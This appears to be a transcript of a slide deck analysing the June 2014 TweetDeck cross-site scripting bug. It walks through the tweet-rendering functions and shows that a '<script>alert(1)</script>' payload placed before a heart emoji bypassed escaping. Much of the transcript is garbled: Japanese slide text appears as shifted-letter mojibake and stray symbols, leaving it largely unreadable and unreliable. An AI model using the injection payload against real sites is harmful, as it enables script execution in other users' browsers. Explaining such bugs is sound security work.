TweetDeck XSS 20140611

TweetDeck XSS 20140611

Transcript

1. じｺしょ-かい なまえ　ﾐユっき せきゅリテｨ いろｲﾛ びっぐで-た
3. ࡢ໷ʜ
6. ʊਓਓਓʊ
   ʼ
   
   944
   
   ʻ
   ʉ:?:?:ʉ
8. var text = “<script>alert(1);</script>http://applest.net/”;
9. transform(text, entities) var text = “<script>alert(1)</script>http://applest.net/”; updateEntities(text, entites) (FU
   JOGPSNBUJPO
   NFEJB
   MJOL
   NFOUJPOT
   IBTIUBHT
   JO
   UXFFU linkify() -JOLJGZ
   BOE
   lFTDBQFz
   GPS
   UXFFU emojify() &NPKJGZ
   GPS
   UXFFU return Object {media: Array[0], urls: Array[1], hashtags: Array[0], user_mentions: Array[0], cashtags: Array[0]} "&lt;script&gt;alert(1)&lt;/script&gt;<a href="http://applest.net/" target="_blank" class="url-ext" rel="url" >http://applest.net/</a>" "&lt;script&gt;alert(1)&lt;/script&gt;<a href="http://applest.net/" target="_blank" class="url-ext" rel="url" >http://applest.net/</a>"
10. transform(text, entities) var text = “—”; updateEntities(text, entites) (FU
    JOGPSNBUJPO
    NFEJB
    MJOL
    NFOUJPOT
    IBTIUBHT
    JO
    UXFFU linkify() -JOLJGZ
    BOE
    lFTDBQFz
    GPS
    UXFFU emojify() &NPKJGZ
    GPS
    UXFFU return Object {media: Array[0], urls: Array[0], hashtags: Array[0], user_mentions: Array[0], cashtags: Array[0]} “—” "<img class="emoji inline-block” draggable="false" alt=“—"src="/web/assets/emoji//2665.png">"
11. transform(text, entities) var text = “<script>alert(1)</script>—”; updateEntities(text, entites) (FU
    JOGPSNBUJPO
    NFEJB
    MJOL
    NFOUJPOT
    IBTIUBHT
    JO
    UXFFU linkify() -JOLJGZ
    BOE
    lFTDBQFz
    GPS
    UXFFU emojify() &NPKJGZ
    GPS
    UXFFU return Object {media: Array[0], urls: Array[0], hashtags: Array[0], user_mentions: Array[0], cashtags: Array[0]} “&lt;script&gt;alert(1)&lt;/script&gt;—” "<script>alert(1)</script><img class="emoji inline-block” draggable="false" alt="—" src="/web/assets/emoji//2665.png">"
12. 1SPCMFNT
13. %&.0
14. :FTUFSEBZ 5PEBZ
17. ΋ͬͱηΩϡΞʹ͢ΔͨΊʹʜ ΤεέʔϓΛҙࣝ͠ͳ͍ Ϣʔβʔ͔Βͷ஋Λ৴༻͠ͳ͍ Τεέʔϓ͕ඞཁ͔Λߟ͑Δ